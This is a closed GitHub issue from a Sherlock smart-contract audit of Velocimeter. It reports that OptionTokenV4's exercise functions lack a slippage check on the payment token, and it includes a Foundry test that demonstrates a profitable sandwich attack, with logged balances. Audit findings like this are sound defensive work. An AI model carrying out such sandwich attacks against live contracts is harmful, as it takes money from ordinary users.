sherlock-audit / 2024-06-velocimeter-judging

11 stars 7 forks source link

cu5t0mPe0 - When calling `exercise*`, it is vulnerable to a sandwich attack #600

Closed sherlock-admin4 closed 3 months ago

sherlock-admin4 commented 3 months ago

cu5t0mPe0

High

When calling exercise*, it is vulnerable to a sandwich attack

Summary

When calling exercise*, there is no slippage check, which makes users vulnerable to a sandwich attack

Vulnerability Detail

In the OptionTokenV4.exercise* functions, the slippage check only verifies paymentAmount but does not check paymentAmountToAddLiquidity.

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/OptionTokenV4.sol#L580-L581

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/OptionTokenV4.sol#L608-L609

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/OptionTokenV4.sol#L667-L668

Although getPaymentTokenAmountForExerciseLp uses twap to calculate paymentAmount to ensure that the price is not manipulated, the calculation of paymentToken is still done using amount * paymentReserve / underlyingReserve, which does not use twap pricing.

Therefore, when users call exercise*, even though the paymentReserve (underlying Token) is checked, the paymentAmountToAddLiquidity (paymentToken) is not checked. Additionally, when calling addLiquidity, amountAMin and amountBMin are set to 1, making the paymentToken vulnerable to attacks.

Coded Poc ### OptionTokenV4.t.sol ```solidity function testSandWichExerciseLp() public { // init vm.startPrank(address(owner)); FLOW.approve(address(oFlowV4), TOKEN_1 * 10000000); oFlowV4.mint(address(owner2), 10000 * TOKEN_1); oFlowV4.mint(address(owner3), TOKEN_1); washTrades(); vm.stopPrank(); (uint256 underlyingReserve, uint256 paymentReserve) = router.getReserves(oFlowV4.underlyingToken(), oFlowV4.paymentToken(), false); console.log("underlingReserve:%d, paymentReserve:%d", underlyingReserve / 1e18, paymentReserve/1e18); console.log("DAI owner2:%d, owner3:%d", DAI.balanceOf(address(owner2))/1e18, DAI.balanceOf(address(owner3))/1e18); console.log("FLOW owner2:%d, owner3:%d", FLOW.balanceOf(address(owner2))/1e18, FLOW.balanceOf(address(owner3))/1e18); Router.route[] memory routes = new Router.route[](1); routes[0] = Router.route(address(DAI), address(FLOW), false); uint256[] memory expectedOutput = router.getAmountsOut( TOKEN_1, routes ); vm.startPrank(address(owner3)); FLOW.approve(address(router), type(uint256).max); DAI.approve(address(router), type(uint256).max); router.swapExactTokensForTokens( 10000 * TOKEN_1, 1, routes, address(owner3), block.timestamp ); vm.stopPrank(); console.log("----------- sandwich attack -----------"); (underlyingReserve, paymentReserve) = router.getReserves(oFlowV4.underlyingToken(), oFlowV4.paymentToken(), false); console.log("underlingReserve:%d, paymentReserve:%d", underlyingReserve / 1e18, paymentReserve/1e18); console.log("owner2:%d, owner3:%d", DAI.balanceOf(address(owner2))/1e18, DAI.balanceOf(address(owner3))/1e18); console.log("FLOW owner2:%d, owner3:%d", FLOW.balanceOf(address(owner2))/1e18, FLOW.balanceOf(address(owner3))/1e18); (uint256 flowAmount, uint256 daiAmount) = oFlowV4.getPaymentTokenAmountForExerciseLp(100000 * TOKEN_1, 80); console.log("----------- After sandwich attack -----------"); // owner2 call exerciseLp vm.startPrank(address(owner2)); DAI.approve(address(oFlowV4), type(uint256).max); oFlowV4.exerciseLp(10000 * TOKEN_1, 10000 * TOKEN_1, address(owner2), 80, block.timestamp); vm.stopPrank(); (underlyingReserve, paymentReserve) = router.getReserves(oFlowV4.underlyingToken(), oFlowV4.paymentToken(), false); console.log("underlingReserve:%d, paymentReserve:%d", underlyingReserve / 1e18, paymentReserve/1e18); console.log("owner2:%d, owner3:%d", DAI.balanceOf(address(owner2))/1e18, DAI.balanceOf(address(owner3))/1e18); console.log("FLOW owner2:%d, owner3:%d", FLOW.balanceOf(address(owner2))/1e18, FLOW.balanceOf(address(owner3))/1e18); console.log("----------- finsh sandwich attack -----------"); routes[0] = Router.route(address(FLOW), address(DAI), false); expectedOutput = router.getAmountsOut( TOKEN_1, routes ); vm.startPrank(address(owner3)); FLOW.approve(address(router), type(uint256).max); DAI.approve(address(router), type(uint256).max); uint[] memory amounts = router.swapExactTokensForTokens( 10000 * TOKEN_1, 1, routes, address(owner3), block.timestamp ); vm.stopPrank(); console.log("owner2:%d, owner3:%d", DAI.balanceOf(address(owner2))/1e18, DAI.balanceOf(address(owner3))/1e18); console.log("get DAI amount: %d", amounts[1]/1e18); // owner3 principal is 10000 DAI,result 11004 DAI /*result: Logs: underlingReserve:100299, paymentReserve:100300 DAI owner2:1000000000000, owner3:1000000000000 FLOW owner2:1000000000, owner3:1000000000 ----------- sandwich attack ----------- underlingReserve:91207, paymentReserve:110299 owner2:1000000000000, owner3:999999990000 FLOW owner2:1000000000, owner3:1000009092 DAI amount: 120932 ----------- After sandwich attack ----------- underlingReserve:101207, paymentReserve:122392 owner2:999999980632, owner3:999999990000 FLOW owner2:1000000000, owner3:1000009092 ----------- finsh sandwich attack ----------- owner2:999999980632, owner3:1000000001004 get DAI amount: 11004 */ } ```

Impact

Users will lose a substantial amount of money.

Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/OptionTokenV4.sol#L608-L609

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/OptionTokenV4.sol#L667-L668

Tool used

Manual Review

Recommendation

Slippage checks are also needed for the paymentToken.

Duplicate of #199